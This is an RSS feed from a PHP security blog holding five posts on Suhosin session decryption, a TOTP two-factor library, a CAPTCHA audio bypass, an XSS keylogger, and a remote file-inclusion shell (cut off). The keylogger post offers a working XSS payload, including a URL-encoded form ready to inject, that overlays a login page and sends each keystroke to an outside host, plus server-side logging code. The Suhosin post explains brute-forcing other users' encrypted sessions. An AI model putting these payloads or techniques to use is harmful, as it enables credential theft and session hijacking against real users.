<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Web App Security &#187; Security</title>
	<atom:link href="http://www.idontplaydarts.com/tag/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.idontplaydarts.com</link>
	<description>PHP &#38; LAMP Stack Security</description>
	<lastBuildDate>Mon, 23 Jan 2012 09:54:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Decrypting suhosin sessions and cookies.</title>
		<link>http://www.idontplaydarts.com/2011/11/decrypting-suhosin-sessions-and-cookies/</link>
		<comments>http://www.idontplaydarts.com/2011/11/decrypting-suhosin-sessions-and-cookies/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 09:41:33 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Design Flaw]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Suhosin]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=650</guid>
		<description><![CDATA[The suhosin module provides transparent cookie and session encryption out of the box to PHP applications. Once enabled any session values stored on disk are encrypted with rijndael and a slight variation on base64 encoding, the same applies to any &#8230; <a href="http://www.idontplaydarts.com/2011/11/decrypting-suhosin-sessions-and-cookies/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">The <a href="http://www.hardened-php.net/suhosin/" rel="nofollow">suhosin module</a> provides transparent cookie and session encryption out of the box to PHP applications. Once enabled any session values stored on disk are encrypted with rijndael and a slight variation on base64 encoding, the same applies to any cookies that are stored on the client. Many people rely solely on this encryption to protect them against parameter tampering attacks.</p>
<p style="text-align: justify;">This post will explain why suhosin encryption is not necessarily as secure as you might think and how its default configuration should not be relied upon to protect the content of sessions and cookies.</p>
<p><strong>Basic suhosin encryption settings</strong></p>
<p style="text-align: justify;">First you need to understand the PHP suhosin session and cookie settings and how these affect access to the session and cookie data, in particular how they affect the generation of the encryption key used to protect the data. There are six settings for both suhosin.session and suhosin.cookie these are their defaults:</p>
<style type="text/css">
#content tr td {
font-size:12px;
padding:3px 24px;
}
</style>
<table width="642" cellspacing="0" cellpadding="4">
<colgroup>
<col width="142" />
<col width="220" />
<col width="254" /> </colgroup>
<tbody>
<tr valign="TOP">
<th width="142">Parameter</th>
<th width="220">Sessions</th>
<th width="254">Cookies</th>
</tr>
<tr valign="TOP">
<td width="142">encrypt</td>
<td width="220">On</td>
<td width="254">Off</td>
</tr>
<tr valign="TOP">
<td width="142">cryptkey</td>
<td width="220">&lt;blank&gt;</td>
<td width="254">&lt;blank&gt;</td>
</tr>
<tr valign="TOP">
<td width="142">cryptraddr</td>
<td width="220">0</td>
<td width="254">0</td>
</tr>
<tr valign="TOP">
<td width="142">cryptua</td>
<td width="220">Off</td>
<td width="254">On</td>
</tr>
<tr valign="TOP">
<td width="142">cryptdocroot</td>
<td width="220">On</td>
<td width="254">On</td>
</tr>
<tr valign="TOP">
<td width="142">checkraddr</td>
<td width="220">0</td>
<td width="254">0</td>
</tr>
</tbody>
</table>
<table width="642" cellspacing="0" cellpadding="4">
<colgroup>
<col width="142" />
<col width="482" /> </colgroup>
<tbody>
<tr valign="TOP">
<th width="142">Parameter</th>
<th width="482">Description</th>
</tr>
<tr valign="TOP">
<td width="142">Encrypt</td>
<td width="482">Turns on the transparent encryption</td>
</tr>
<tr valign="TOP">
<td width="142">cryptkey</td>
<td width="482">Custom string added to the encryption key – blank by default.</td>
</tr>
<tr valign="TOP">
<td width="142">cryptraddr</td>
<td width="482">The number of octets of the users IP to add to the encryption key</td>
</tr>
<tr valign="TOP">
<td width="142">cryptua</td>
<td width="482">Adds the user agent string to the encryption key</td>
</tr>
<tr valign="TOP">
<td width="142">cryptdocroot</td>
<td width="482">Adds the document root as defined by Apache to the key</td>
</tr>
<tr valign="TOP">
<td width="142">checkraddr</td>
<td width="482">Has no affect on the encryption key but prevents users on other IP addresses accessing the session data once decrypted.</td>
</tr>
</tbody>
</table>
<p><strong>How Suhosin generates the encryption key</strong></p>
<p style="text-align: justify;">As you can see, the more Suhosin settings that are enabled the more complex the encryption key will become – sessions by default are encrypted using solely the document root where as cookies use a concatenation of both the document root and user agent string. The key will always be built in the same way and take the order:</p>
<p><span id="more-650"></span></p>
<p style="text-align: center; font-family:courier new;"><span style="color:blue;">cryptkey</span> + <span style="color:red;">user agent</span> + <span style="color:green;">document root</span> + <span style="color:black;">IP octets</span></p>
<p style="text-align: center; font-family:courier new;"><span style="color:blue;">12345</span><span style="color:red;">Mozilla/5.0 (X11; Linux x86_64; rv:6.0.2) Gecko/20100101 Firefox/6.0.2</span><span style="color:green;">/var/www</span><span style="color:black;">127.0.0.1</span></p>
<p style="text-align: justify;">The variables are concatenated without a separator – if for some reason the cryptkey string is NULL then Suhosin will default to a value of “D3F4UL7”. Once built the string is hashed using SHA256 and the result used to generate a 256bit rijndael encryption key. The code used to generate the SHA256 key is shown below:</p>
<div style="font-size:12px;">
<pre class="brush: cpp; title: ; notranslate">
char *suhosin_generate_key(char *key, zend_bool ua, zend_bool dr, long raddr, char *cryptkey TSRMLS_DC)
{
    char *_ua = NULL;
    char *_dr = NULL;
    char *_ra = NULL;
    suhosin_SHA256_CTX ctx;

    if (ua) {
        _ua = sapi_getenv(&quot;HTTP_USER_AGENT&quot;, sizeof(&quot;HTTP_USER_AGENT&quot;)-1 TSRMLS_CC);
    }

    if (dr) {
        _dr = sapi_getenv(&quot;DOCUMENT_ROOT&quot;, sizeof(&quot;DOCUMENT_ROOT&quot;)-1 TSRMLS_CC);
    }

    if (raddr &gt; 0) {
        _ra = sapi_getenv(&quot;REMOTE_ADDR&quot;, sizeof(&quot;REMOTE_ADDR&quot;)-1 TSRMLS_CC);
    }

    suhosin_SHA256Init(&amp;ctx);

    if (key == NULL) {
        suhosin_SHA256Update(&amp;ctx, (unsigned char*)&quot;D3F4UL7&quot;, sizeof(&quot;D3F4UL7&quot;));
    } else {
        suhosin_SHA256Update(&amp;ctx, (unsigned char*)key, strlen(key));
    }
    if (_ua) {
        suhosin_SHA256Update(&amp;ctx, (unsigned char*)_ua, strlen(_ua));
    }
    if (_dr) {
        suhosin_SHA256Update(&amp;ctx, (unsigned char*)_dr, strlen(_dr));
    }

    if (_ra) {
        if (raddr &gt;= 4) {
            suhosin_SHA256Update(&amp;ctx, (unsigned char*)_ra, strlen(_ra));
        } else {
            long dots = 0;
            char *tmp = _ra;

            while (*tmp) {
                if (*tmp == '.') {
                    dots++;
                    if (dots == raddr) {
                        break;
                    }
                }
                tmp++;
            }
            suhosin_SHA256Update(&amp;ctx, (unsigned char*)_ra, tmp-_ra);
        }
    }

    suhosin_SHA256Final((unsigned char *)cryptkey, &amp;ctx);
    cryptkey[32] = 0; /* uhmm... not really a string */

    return cryptkey;
}
</pre>
</div>
<p style="text-align: justify;">If you refer back to the default settings the key used to encrypt sessions is derived from solely the web root e.g. /var/www (this is not the same as /var/www/). Cookies are encrypted with both the web root and the clients user agent string (which is known). <a href="https://www.owasp.org/index.php/Full_Path_Disclosure" rel="nofollow">A simple PHP error</a> could give the location of the web root to an attacker which he could use to decrypt and tamper with client side cookies or the data stored within server sessions (assuming he has access to the sessions on disk).</p>
<p><strong>Calculating the encryption key value</strong></p>
<p style="text-align: justify;">If we assume the default Suhosin settings are in place then defeating the cookie encryption is a simple case of either finding an error message with the web root in or staging a dictionary attack on the name of the web root. You should already know what your user agent string is so there is only one unknown variable to guess. Using information harvested from Google searches for &#8220;DocumentRoot not found&#8221; I&#8217;ve come up with a script that takes a domain name an generates a list of plausible web roots. (<a href="http://www.idontplaydarts.com/wp-content/uploads/2011/11/DocumentRoot.zip">Download the DocumentRoot generator</a>.) These can be fed into a script to brute-force the encrypted data.</p>
<div style="">
<pre style="background-color:#000000; color:#c5c5c5; font-family:courier new; font-size:10pt; padding:5px; line-height:10pt; overflow:hidden;">
#bash> ./generate.php
Usage ./generate.php domainname.com > directorylist.txt

#bash> ./generate.php idontplaydarts.com > dirlist.txt
#bash> wc -l dirlist.txt
29160 dirlist.txt
#bash> cat dirlist.txt
/data/web
/data/web/
/data/web/idontplaydarts.com/public_html
/data/web/idontplaydarts.com/public_html/
......
</pre>
</div>
<p style="text-align: justify;">But what if the session data is also encrypted with the user agent string and you want to decrypt someone else&#8217;s session? Now you&#8217;ll need to brute-force the user agent string as well, there are probably only a few thousand variants of the modern browsers and there are plenty of lists to choose from. If you&#8217;ve already compromised the system you could construct a list of agents from the servers Apache logs and use these in the attack.</p>
<p style="text-align: justify;">If the system administrator or developer has opted to lock the session to the clients IP address using cryptraddr then you might have to test the entire 32 bit range of IP addresses. Luckily however thanks to some service providers frequently changing your IP address during the course of your Internet session it is unlikely that any more than the first two octets of the IP address will be used in the rijndael key. You can further reduce this set of IP addresses if you know what country the client is connecting from, <a href="https://www.maxmind.com/app/geolitecountry" rel="nofollow">MaxMind has a good GeoLocation database</a> that can be used to narrow down you attack. Again, if you can view the Apache logs and extract the IP addresses of the hosts that have accessed the server it will significantly reduce your search space (if your attacking a cookie rather than a session you should already know your IP address).</p>
<p style="text-align: justify;">You might have noticed on line 17 that Suhosin looks to the REMOTE_ADDR variable for the clients IP address so there is a potential for a further mis-configuration if Apache resides behind a load balancer or proxy such as Nginx or Varnish which is failing to update the REMOTE_ADDR header. In these situations the REMOTE_ADDR might be that of the upstream proxy which would make the attack much quicker as every client will appear to come from the same address.</p>
<p align="JUSTIFY"><strong>Decrypting Suhosin sessions and cookies using C</strong></p>
<p align="JUSTIFY">I saw a good entry on ha.xxor.se that <a href="http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-3.html" rel="nofollow">describes how to hijack a session</a> on shared hosting however this involves manipulating internal variables in PHP which doesn&#8217;t always work and tends to be fairly slow. I briefly tried decrypting the session variables using purely PHP and the <a href="http://php.net/manual/en/book.mcrypt.php" rel="nofollow">mcrypt extension</a> although I had little success.</p>
<p align="JUSTIFY">In order to decrypt Suhosin sessions and cookie strings you really need an external program that is independent of PHP, one that can quickly brute force sessions or cookies saved in a file. I couldn&#8217;t find one on the net so I wrote one in C – its mainly hacked together from bits of the suhosin and PHP source code. There is plenty of scope for improvement and optimisations.</p>
<p align="JUSTIFY">
The script comes with 3 examples located in the demos/ folder &#8211; I&#8217;ve included a compiled version that should work on x86 Linux as well as the source and make file.
</p>
<p style="text-align:center; font-weight:bold;"><a href="http://www.idontplaydarts.com/wp-content/uploads/2011/11/suhosin.zip">Download the Suhosin decrypter.</a></p>
<div style="">
<pre style="background-color:#000000; color:#c5c5c5; font-family:courier new; font-size:10pt; padding:5px; line-height:10pt; overflow:hidden;">
Usage: cmd [SESSION FILE] [OPTIONS]

Cracks Suhosin rijndael encryption by launching dictionary attacks on
the key. The session or cookie string to be cracked must be placed in
SESSION FILE.		

Mandatory Arguments:
  [SESSION FILE]        File containing the session data

Arguments:
  -UA                   list of user agents in txt file
  -DR                   list of directory roots
  -IP                   list of ip addresses
  -CK                   list of crypt keys
  -ip                   singular ip adddress
  -dr                   singular directory root
  -ua                   singular user agent
  -ck                   crypt key string

NB. When a list of anything is specified the decrypter will also add
    a blank string to the list.						
</pre>
</div>
<p style="text-align:center; font-weight:bold;"><a href="http://www.idontplaydarts.com/wp-content/uploads/2011/11/suhosin.zip">Download the Suhosin decrypter.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/11/decrypting-suhosin-sessions-and-cookies/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Google TOTP Two-factor Authentication for PHP</title>
		<link>http://www.idontplaydarts.com/2011/07/google-totp-two-factor-authentication-for-php/</link>
		<comments>http://www.idontplaydarts.com/2011/07/google-totp-two-factor-authentication-for-php/#comments</comments>
		<pubDate>Mon, 25 Jul 2011 09:26:24 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Google Authenticator]]></category>
		<category><![CDATA[Hardening]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Two-factor]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=486</guid>
		<description><![CDATA[At the beginning of the year Google released 2 Factor Authentication (2FA) for G-Mail providing an application for Android, IPhone and Blackberry called Google Authenticator to generate one time login tokens. This post will show how to implement Google 2FA &#8230; <a href="http://www.idontplaydarts.com/2011/07/google-totp-two-factor-authentication-for-php/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">At the beginning of the year <a href="https://www.google.com/support/accounts/bin/static.py?page=guide.cs&#038;guide=1056283&#038;topic=1056284" title="Google 2FA explained" target="_blank" rel="nofollow">Google released 2 Factor Authentication (2FA)</a> for G-Mail providing an application for Android, IPhone and Blackberry called Google Authenticator to generate one time login tokens. This post will show how to implement Google 2FA to protect web applications from stolen credentials.</p>
<p><img src="/wp-content/uploads/2011/07/googleauthenticator1.png" alt="" title="Google Authenticator" width="174" height="174" class="alignleft size-full wp-image-536" /></p>
<p style="text-align: justify;">Google Authenticator is based on <a title="RFC 4226" href="http://www.ietf.org/rfc/rfc4226.txt" rel="nofollow" target="_blank">RFC 4226</a> &#8211; a Time based One Time Password (TOTP) which is initialised using a 16 digit base 32  (<a title="RFC 4648" rel="nofollow" href="http://tools.ietf.org/html/rfc4648" target="_blank">RFC 4648</a>) encoded seed value. Initial seeds used for the TOTP can be entered into the Google Authenticator via a camera using QR codes or via the keyboard. Google has also provided <a title="Google PAM module 2FA" href="https://code.google.com/p/google-authenticator/wiki/PamModuleInstructions" target="_blank" rel="nofollow">a PAM module</a> allowing users to integrate 2FA for sshd.</p>
<p style="text-align: justify;">A module can be written to support the Google TOTP in any language &#8211; the only caveat with writing a library for PHP is a lack of an RFC 4648 compliant base 32 decoding function. A base 32 function is needed to decode the initial seed. This is probably the most tricky part of implementing Google&#8217;s 2FA. The following function can be used:</p>
<pre class="brush: php; title: ; notranslate">
function base32_decode($b32) {
  $lut = array(&quot;A&quot; =&gt; 0,       &quot;B&quot; =&gt; 1,
               &quot;C&quot; =&gt; 2,       &quot;D&quot; =&gt; 3,
               &quot;E&quot; =&gt; 4,       &quot;F&quot; =&gt; 5,
               &quot;G&quot; =&gt; 6,       &quot;H&quot; =&gt; 7,
               &quot;I&quot; =&gt; 8,       &quot;J&quot; =&gt; 9,
               &quot;K&quot; =&gt; 10,      &quot;L&quot; =&gt; 11,
               &quot;M&quot; =&gt; 12,      &quot;N&quot; =&gt; 13,
               &quot;O&quot; =&gt; 14,      &quot;P&quot; =&gt; 15,
               &quot;Q&quot; =&gt; 16,      &quot;R&quot; =&gt; 17,
               &quot;S&quot; =&gt; 18,      &quot;T&quot; =&gt; 19,
               &quot;U&quot; =&gt; 20,      &quot;V&quot; =&gt; 21,
               &quot;W&quot; =&gt; 22,      &quot;X&quot; =&gt; 23,
               &quot;Y&quot; =&gt; 24,      &quot;Z&quot; =&gt; 25,
               &quot;2&quot; =&gt; 26,      &quot;3&quot; =&gt; 27,
               &quot;4&quot; =&gt; 28,      &quot;5&quot; =&gt; 29,
               &quot;6&quot; =&gt; 30,      &quot;7&quot; =&gt; 31
  );

  $b32    = strtoupper($b32);
  $l      = strlen($b32);
  $n      = 0;
  $j      = 0;
  $binary = &quot;&quot;;

  for ($i = 0; $i &lt; $l; $i++) {

       $n = $n &lt;&lt; 5;
       $n = $n + $lut[$b32[$i]];
       $j = $j + 5;

       if ($j &gt;= 8) {
           $j = $j - 8;
           $binary .= chr(($n &amp; (0xFF &lt;&lt; $j)) &gt;&gt; $j);
       }
  }

  return $binary;
}
</pre>
<p style="text-align: justify;">This binary seed value will be used in a SHA1 hash along with the current Unix time-stamp to generate one time tokens. The Unix time-stamp is divided by 30 so that the one time password changes every 30 seconds.</p>
<pre class="brush: php; title: ; notranslate">
function get_timestamp() {
   return floor(microtime(true)/30);
}
</pre>
<p style="text-align: justify;">Sadly you cant just pass the number from get_timestamp straight into the sha1 function. The time-stamp first needs to be reduced into a binary string of 8 bytes. Since pack doesn&#8217;t support 64bit integers we use two unsigned 32 bit integers to make up the binary form.</p>
<pre class="brush: php; title: ; notranslate">
$binary_timestamp = pack('N*', 0) . pack('N*', $timestamp);
</pre>
<p style="text-align: justify;">Once you have the binary seed and the binary timestamp you have to pass them into the &#8220;hash_mhac&#8221; function. This gives you a 20 byte sha1 string.</p>
<pre class="brush: php; title: ; notranslate">
$hash = hash_hmac ('sha1', $binary_timestamp, $binary_key, true);
</pre>
<p style="text-align: justify;">This hash is then processed in accordance with RFC 4226 to obtain the one time password.</p>
<pre class="brush: php; title: ; notranslate">
$offset = ord($hash[19]) &amp; 0xf;

$OTP = (
   ((ord($hash[$offset+0]) &amp; 0x7f) &lt;&lt; 24 ) |
    ((ord($hash[$offset+1]) &amp; 0xff) &lt;&lt; 16 ) |
    ((ord($hash[$offset+2]) &amp; 0xff) &lt;&lt; 8 ) |
    (ord($hash[$offset+3]) &amp; 0xff)
   ) % pow(10, 6);
</pre>
<p style="text-align: justify;">Now $OTP should contain your one time password. There are however still a couple of small issues to overcome if you want to use this within an application:</p>
<ul>
<li>
<p style="text-align: justify;">Your client and server clocks may not be in sync &#8211; this could means that when you come to check your token generated by the user that it will fail. To combat this a you can either stipulate that the client and server clocks must be in perfect sync or you need to create a function which checks the tokens against those +/- 2 minutes of the current server time. This will allow your client and server to be up to 2 minutes out but obviously increases the chance that an attacker could correctly guess a one time token.</p>
</li>
<li>
<p style="text-align: justify;">If there is no upper limit on the number of attempts a user can make at guessing a token it may be possible to brute-force the one-time token.
</p>
</li>
<li>
<p style="text-align: justify;">If the seed is too small and an attacker can intercept a few tokens it may be possible to brute-force the seed value allowing the attacker to generate new one-time tokens. For this reason Google enforces a minimum seed length of 16 characters or 80-bits.</p>
</li>
<li>
<p style="text-align: justify;">If a token is not marked as invalid as soon as it has been used an attacker who has intercepted the token may be able to quickly replay it to obtain access.</li>
</ul>
<div id="attachment_526" class="wp-caption alignright" style="width: 210px"><img src="/wp-content/uploads/2011/07/PEHMPSDNLXIOG65U.png" alt="Google Authenticator: Seed value &#039;PEHMPSDNLXIOG65U&#039;" title="PEHMPSDNLXIOG65U" width="200" height="200" class="size-full wp-image-526" /><p class="wp-caption-text">Seed value &#039;PEHMPSDNLXIOG65U&#039;</p></div>
<p style="text-align: justify;"><a href="http://www.idontplaydarts.com/wp-content/uploads/2011/07/ga.php_.txt">A class for PHP that implements Google TOTP can be downloaded here</a>. Its missing protection against brute-force attacks but otherwise fully functional.</p>
<p style="text-align: justify;">You can check if its working by installing the Google Authenticator application and scanning the QR code to the right &#8211; codes generated by the application should match codes generated by the class. The function Google2FA::verify_key should be used to validate the users one time token as it allows the clients clock to drift either side of the server time by 2 minutes.</p>
<p style="text-align: justify;">Custom QR codes can be generated using the Google QR generator at https://www.google.com/chart?chs=200&#215;200&#038;chld=M|0&#038;cht=qr&#038;chl=otpauth://totp/idontplaydarts?secret=SECRETVALUEHERE</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/07/google-totp-two-factor-authentication-for-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exploit: PHPCaptcha / Securimage is not secure.</title>
		<link>http://www.idontplaydarts.com/2011/05/exploit-phpcaptcha-securimage/</link>
		<comments>http://www.idontplaydarts.com/2011/05/exploit-phpcaptcha-securimage/#comments</comments>
		<pubDate>Wed, 25 May 2011 10:00:20 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[CAPTCHA]]></category>
		<category><![CDATA[Design Flaw]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=307</guid>
		<description><![CDATA[Recently I discovered an easy way to bypass PHPCaptcha also known as SecurImage. The method described below will break the CAPTCHA every time, without fail and affects versions 1.0.4 and above. Previous versions are also probably vulnerable tho only exploit &#8230; <a href="http://www.idontplaydarts.com/2011/05/exploit-phpcaptcha-securimage/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Recently I discovered an easy way to bypass <a href="http://www.phpcaptcha.org/" rel="nofollow">PHPCaptcha also known as SecurImage</a>. The method described below will break the CAPTCHA every time, without fail and affects versions 1.0.4 and above. Previous versions are also probably vulnerable tho only exploit code for the MP3 file format (implemented as default since version 2.0.0) is provided.</p>
<p style="text-align: justify;">The flaw in the CAPTCHA stems from the way MP3 and WAV audio codes, intended for use by by the visually impaired, are generated. It is worth noting that even when the user of the site has removed the audio functionality from their displayed CAPTCHA the functionality can still be accessed via <a href="https://www.owasp.org/index.php/Forced_browsing" rel="nofollow">forceful browsing</a> to the file called &#8220;/securimage_play.php&#8221;. This means that unless the administrator of the site has removed the securimage_play.php file that their site is vulnerable to attack.</p>
<p style="text-align: justify;">The audio codes that are generated by PHPCaptcha are created by concatenating a set of audio files (that are publicly accessible in /audio directory). To prevent simple binary analysis of the output the author randomly changes the value of every 64th byte in the generated audio file starting from an initial offset that is also defined by a random integer in the range 1-64. The effect of the mutation means that when you listen to the audio its very hard to determine what letters are being heard. The code used for the mutation is shown below:</p>
<pre class="brush: php; title: ; notranslate">
    function scrambleAudioData(&amp;$data, $format)
    {
        if ($format == 'wav') {
            $start = strpos($data, 'data') + 4;
            if ($start === false) $start = 44;
        } else { // mp3
            $start = 4;
        }

        $start  += rand(1, 64);
        $datalen = strlen($data) - $start - 256;

        for ($i = $start; $i &lt; $datalen; $i += 64) {
            $ch = ord($data{$i});
            if ($ch &lt; 9 || $ch &gt; 119) continue;

            $data{$i} = chr($ch + rand(-8, 8));
        }
    }
</pre>
<p style="text-align: justify;">While this prevents simple binary analysis of the generated audio it does not prevent an attacker from building a list of 64 byte strings from the publicly accessible audio samples and using these in comparison against the concatenated audio file. By determining where in the file these strings occur its possible to decode the CAPTCHA with a 100% success rate. The decision by the author to change only the 64th byte of the final audio file is a fatal design flaw.</p>
<p style="text-align: justify;">You can <a href='http://www.idontplaydarts.com/wp-content/uploads/2011/05/POC-explot.zip'>download the PHPCaptcha exploit</a> capable of decoding the MP3 CAPTCHA format. It is currently configured to run against the &#8220;sample_form.php&#8221; script that comes by default with SecurImage / PHPCaptcha. Below is a video of the exploit running:</p>
<p><object style="height: 390px; width: 640px"><param name="movie" value="http://www.youtube.com/v/qqfk_Jt-pnw?version=3"><param name="allowFullScreen" value="true"><param name="allowScriptAccess" value="always"><embed src="http://www.youtube.com/v/qqfk_Jt-pnw?version=3" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="640" height="390"></object></p>
<p style="text-align: justify;">No fix is currently available from the author. The only current solution is to remove the securimage_play.php script from your site.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/05/exploit-phpcaptcha-securimage/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Javascript keylogger in JQuery.</title>
		<link>http://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery/</link>
		<comments>http://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery/#comments</comments>
		<pubDate>Fri, 20 May 2011 14:13:12 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=385</guid>
		<description><![CDATA[I needed to capture someone&#8217;s login credentials using cross site scripting. However I had 3 problems. Firstly there was no XSS on the login page, secondly the only XSS was reflected, meaning it only affected the current page and thirdly &#8230; <a href="http://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">I needed to capture someone&#8217;s login credentials using cross site scripting. However I had 3 problems. Firstly there was no XSS on the login page, secondly the only XSS was reflected, meaning it only affected the current page and thirdly the HTTPOnly flag was set on the session meaning I couldn&#8217;t hijack it.</p>
<p style="text-align: justify;">So I came up with a solution that turns reflected cross site scripting into a crude form of persistent XSS and records the users keystrokes to a remote server. The idea is that you embed some XSS code in a vulnerable page on the same domain as the login page. Its important that its on the same domain so that we can access the contents of the iframe and hook the keyboard input. If its not on the same domain then the browser won&#8217;t let you do this.</p>
<p style="text-align: justify;">The general architecture of the exploit looks something like this.</p>
<p><a href="http://www.idontplaydarts.com/wp-content/uploads/2011/05/xss.png"><img class="aligncenter size-full wp-image-386" title="XSS Keylogger" src="/wp-content/uploads/2011/05/xss.png" alt="" width="522" height="302" /></a></p>
<p style="text-align: justify;">The page with XSS spawns an iframe that fills up the contents of the window and places it over the top of everything currently in the window. The src of the Iframe should be whatever page you want to capture keystrokes from. It then adds a hook to the contents of the iframe so that every time there is a keypress it polls back to a server controlled by the attacker.</p>
<p style="text-align: justify;">The great thing about using the Iframe is that the user can navigate away from the page and the keystroke logger will still be running as the src of the parent Iframe remains the same and it is the parent Iframe in which the key logger resides.</p>
<p style="text-align: justify;"><strong><em>The code:</em></strong><br />
I used JQuery as I wanted the Key logger to be cross browser compliant, if the site your targeting has JQuery already included then you wont have to embed jQuery and can avoid the script tags all together. I also included a time stamp when sending the keystroke to the remote server as occasionally the GET requests were arriving out of order &#8211; having a time stamp enables you to reassemble the keystrokes in the correct order server-side.</p>
<pre class="brush: jscript; title: ; notranslate">
&lt;script src=&quot;http://code.jquery.com/jquery-1.6.1.min.js&quot;&gt;&lt;/script&gt;
&lt;iframe src=&quot;/login.php&quot; id=&quot;w&quot; style=&quot;width:100%; height:100%; position:absolute; top:0; left:0; z-index:2; background-color:#ffffff;&quot; onload=&quot;$('#w').contents().keypress(function(event) {$.get('http://www.mysite.com/k.php?x='+event.which+'&amp;t='+event.timeStamp,function(data){});});&quot;&gt;&lt;/iframe&gt;
</pre>
<p style="text-align: justify;">You don&#8217;t even need server side code to do the logging, as long as you have access to your web server error logs you should be able to see all the keystrokes arriving as GET requests. If you did want more friendly server-side code it might look something like this:</p>
<pre class="brush: php; title: ; notranslate">
$f = fopen(&quot;/tmp/log.txt&quot;,&quot;a+&quot;);
fputs($f, $_SERVER['REMOTE_ADDR'] . &quot;\t&quot; . $_GET['t'] . &quot;\t&quot; . chr($_GET['x']) . &quot;\n&quot;);
fclose($f);
</pre>
<p style="text-align: justify;"><strong><em>Encoding the payload:</em></strong><br />
The full url encoded payload is shown below, both the initial Iframe src page and the destination script for the key strokes are marked in bold. Both will need to be changed if you are to use this.</p>
<blockquote><p>
%3Cscript+src%3D%22http%3A%2F%2Fcode.jquery.com%2Fjquery-1.6.1.min.js%22%3E%3C%2Fscript%3E%3Ciframe+src%3D%22<strong>%2Flogin.php</strong>%22+id%3D%22w%22+style%3D%22width%3A100%25%3B+height%3A100%25%3B+position%3Aabsolute%3B+top%3A0%3B+left%3A0%3B+z-index%3A2%3B+background-color%3A%23ffffff%3B%22+onload%3D%22%24%28%27%23w%27%29.contents%28%29.keypress%28function%28event%29+%7B%24.get%28%27http%3A%2F%2F<strong>www.mysite.com%2Fk.php</strong>%3Fx%3D%27%2Bevent.which%2B%27%26t%3D%27%2Bevent.timeStamp%2Cfunction%28data%29%7B%7D%29%3B%7D%29%3B%22%3E%3C%2Fiframe%3E
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Remote File Inclusion command shell using data://</title>
		<link>http://www.idontplaydarts.com/2011/03/php-remote-file-inclusion-command-shell-using-data-stream/</link>
		<comments>http://www.idontplaydarts.com/2011/03/php-remote-file-inclusion-command-shell-using-data-stream/#comments</comments>
		<pubDate>Thu, 24 Mar 2011 12:58:45 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[File Inclusion]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=178</guid>
		<description><![CDATA[PHP 5.2 and above provides stream wrappers. The general idea behind the stream wrapper is that you write one that interfaces with other protocols or services and you can still reference the data using your favourite functions. Here we open &#8230; <a href="http://www.idontplaydarts.com/2011/03/php-remote-file-inclusion-command-shell-using-data-stream/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">PHP 5.2 and above provides <a href="http://php.net/manual/en/wrappers.data.php" target="_blank">stream wrappers</a>. The general idea behind the stream wrapper is that you write one that interfaces with other protocols or services and you can still reference the data using your favourite functions. Here we open an ssh2 tunnel using a stream wrapper:</p>
<pre class="brush: php; title: ; notranslate">
$session = ssh2_connect('example.com', 22);
$stream = fopen(&quot;ssh2.tunnel://$session/remote.example.com:1234&quot;, 'r');
</pre>
<p style="text-align: justify;">Another example using the built in data:// stream which decodes base64 strings.</p>
<pre class="brush: php; title: ; notranslate">
